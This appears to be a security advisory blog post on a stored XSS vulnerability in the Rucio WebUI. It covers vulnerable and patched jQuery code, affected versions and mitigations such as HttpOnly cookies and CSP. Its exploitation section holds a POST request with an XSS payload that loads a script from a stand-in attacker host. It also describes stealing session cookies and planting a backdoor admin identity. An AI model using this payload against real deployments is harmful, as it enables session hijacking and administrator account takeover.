Feb 25, 2026·6 min read·6 visits
The Rucio WebUI fails to sanitize user input before rendering it with jQuery's `.html()` method. This allows attackers to store malicious JavaScript in account profiles. When an admin views the profile, the script executes, allowing for session hijacking and admin account takeover due to weak cookie protections.
A critical Stored Cross-Site Scripting (XSS) vulnerability was discovered in the Rucio WebUI, the interface for the open-source scientific data management framework used by major research institutions. The flaw stems from the insecure use of jQuery manipulation methods—specifically `.html()`, `.append()`, and `.after()`—to render user-controlled data retrieved from the backend API. By injecting malicious JavaScript into the 'Identity Name' field of an account, an attacker can persist a payload that executes in the browser of any administrator who views that account's details. The impact is exacerbated by a lack of defense-in-depth measures: session cookies lack the `HttpOnly` flag, and authentication tokens are exposed as global variables, making full account takeover trivial.
Rucio is the heavy lifter of the scientific world. Originally developed for the ATLAS experiment at CERN, it manages exabytes of data across heterogeneous distributed environments. It's the kind of software that underpins the discovery of new particles and the mapping of the universe. Naturally, you'd expect the security protecting this beast to be as robust as a bank vault.
However, like many backend-heavy infrastructure projects, the frontend WebUI seems to have been built with functionality first and security as a 'nice-to-have' afterthought. While the backend handles complex orchestration, the WebUI provides a convenient dashboard for administrators to manage accounts, identities, and rules.
This specific vulnerability targets that convenience. It turns the administrative dashboard—the very cockpit used to steer this massive data ship—into a trap. By exploiting a fundamental misunderstanding of how jQuery handles DOM manipulation, we can turn a simple text field into a weaponized entry point for remote code execution within the browser context.
The root of CVE-2026-25735 is a classic tale of developer convenience over security. In the world of jQuery, there are two primary ways to put text into an element: .text() and .html(). The former is safe; it treats everything as a string literal. The latter is dangerous; it parses the string as HTML.
Developers love .html() (and its cousins .append() and .after()) because it allows them to construct UI elements dynamically with ease. Need to show an error message with a bold warning? Just pass "<b>Error:</b> " + message. It's quick, it works, and it's a security nightmare if message comes from a user.
In Rucio's case, the WebUI was fetching account identities from the backend API and shoving them directly into the DOM using these unsafe methods. The application assumed that because the data came from its own database, it was safe. This is the 'Trusted Source' fallacy. Just because the data comes from your API doesn't mean it wasn't put there by an attacker.
The specific failure point was in the Account Management interface. When rendering the list of identities associated with an account (like SSH keys, X.509 DNs, or usernames), the code took the identity string and rendered it raw. This meant that <script>alert(1)</script> wasn't displayed as text—it was executed as code.
Let's look at the smoking gun. The vulnerability existed in multiple JavaScript files handling UI logic, but account.js is the prime example. Here is a simplified view of how the vulnerable code handled data ingestion prior to the patch.
// VULNERABLE CODE PATTERN
// The 'identity' variable comes directly from the API JSON response
$.each(data, function(index, identity) {
// The .append() method parses HTML strings
$('#identity_table').append(
'<tr><td>' + identity.name + '</td><td>' + identity.type + '</td></tr>'
);
});When identity.name contains <img src=x onerror=alert(1)>, jQuery parses the string, creates the DOM elements, and the browser immediately attempts to load the image, firing the error handler.
The fix implemented by the Rucio team was a scorched-earth migration away from these sinks. They switched to using .text() for text content and strictly controlled element creation for structure.
// PATCHED SECURE CODE
$.each(data, function(index, identity) {
var row = $('<tr>');
// .text() automatically encodes HTML entities
var nameCell = $('<td>').text(identity.name);
var typeCell = $('<td>').text(identity.type);
row.append(nameCell).append(typeCell);
$('#identity_table').append(row);
});Notice the difference? In the secure version, the browser never gets a chance to interpret identity.name as HTML tags. It is strictly treated as text content.
Exploiting this is trivially easy, but the impact is where it gets interesting. This isn't just about popping an alert box; it's about persistence and privilege escalation.
Step 1: The Setup First, we need to inject the payload. We need a user account that can add identities (or we compromise a low-level user). We send a POST request to the Rucio API:
POST /proxy/accounts/victim_account/identities HTTP/1.1
Content-Type: application/json
{
"identity": "<img src=x onerror=$.getScript('https://attacker.com/hook.js')>",
"authtype": "SSH",
"email": "trap@example.com"
}Step 2: The Trap The backend dutifully saves this string. It validates the format of the request, but it doesn't sanitize the string content because it assumes the frontend will handle display logic.
Step 3: Execution & Escalation An administrator logs in to investigate an issue with the 'victim_account'. The moment the page loads, the payload executes. Rucio's WebUI had two critical secondary failures that turn this into a catastrophe:
document.cookie and exfiltrate the session ID.A sophisticated payload wouldn't just steal the cookie; it would use the victim's session to create a new admin identity for the attacker, effectively creating a permanent backdoor.
Fixing the immediate bug is simple: stop using .html() with untrusted data. But if you want to actually secure the application, you need to layer your defenses. The Rucio team did the right thing by patching the sinks, but for those running similar architectures, here is the playbook.
1. Context-Aware Output Encoding
Never concatenate strings to build HTML. Use framework-provided bindings (React/Vue/Angular handle this automatically) or use safe DOM creation methods like document.createElement or jQuery's .text(). If you must render HTML (e.g., Markdown comments), use a sanitization library like DOMPurify.
2. HttpOnly Cookies
There is rarely a good reason for client-side JavaScript to read session cookies. Set the HttpOnly flag on all session identifiers. This mitigates the impact of XSS by preventing cookie theft (though it doesn't stop requests forged within the browser).
3. Content Security Policy (CSP)
A strong CSP is the ultimate safety net. A policy like default-src 'self' would have prevented the inline event handler (onerror=...) from firing and blocked the loading of external scripts. It turns a critical RCE-in-browser into a benign rendering glitch.
CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:U/C:H/I:H/A:N| Product | Affected Versions | Fixed Version |
|---|---|---|
Rucio WebUI Rucio | < 35.8.3 | 35.8.3 |
Rucio WebUI Rucio | >= 36.0.0rc1, <= 38.5.3 | 38.5.4 |
Rucio WebUI Rucio | >= 39.0.0rc1, <= 39.3.0 | 39.3.1 |
| Attribute | Detail |
|---|---|
| CWE ID | CWE-79 |
| CVSS v3.1 | 6.1 (Medium) |
| Attack Vector | Network |
| Privileges Required | High (or Low if attacking Admin) |
| User Interaction | Required |
| Exploit Maturity | PoC Available |
The software does not neutralize or incorrectly neutralizes user-controllable input before it is placed in output that is used as a web page that is served to other users.